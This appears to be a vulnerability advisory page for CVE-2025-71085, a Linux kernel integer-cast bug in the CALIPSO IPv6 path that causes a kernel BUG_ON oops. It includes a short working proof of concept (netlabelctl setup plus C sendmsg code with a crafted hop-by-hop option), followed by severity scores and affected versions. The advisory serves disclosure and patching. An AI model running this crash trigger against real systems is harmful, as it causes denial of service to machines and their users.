CVE-2025-71085

What it is

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

At a glance

Exploitability

Can be exploited over the network without logging in. High risk of service disruption.

Exploit odds

0.3% chance of exploitation in the next 30 days (EPSS).

Fix

A patch, advisory or fixed version is referenced. Upgrade or apply it.

Timeline

1. 2026-01-13 16:16 UTC PublishedDisclosed publicly on CVE.org and NVD
2. 2026-10-19 19:17 UTC Last updatedMost recent change to the record

Details

Published

2026-01-13 16:16 UTC

Last modified

2026-10-19 19:17 UTC

Exploit probability

0.3% · EPSS, next 30 days

Weakness

CWE-617

Record status

Modified

Affected

• Linux Kernel < 5.10.248
• Linux Kernel < 5.15.198
• Linux Kernel < 6.1.160
• Linux Kernel < 6.6.120
• Linux Kernel < 6.12.64
• Linux Kernel < 6.18.4
• Linux Kernel 4.8
• Linux Kernel 6.19

Attack profile CVSS 3.1 · 7.5

Attack vector

Network

Complexity

Low

Privileges needed

None

User interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

High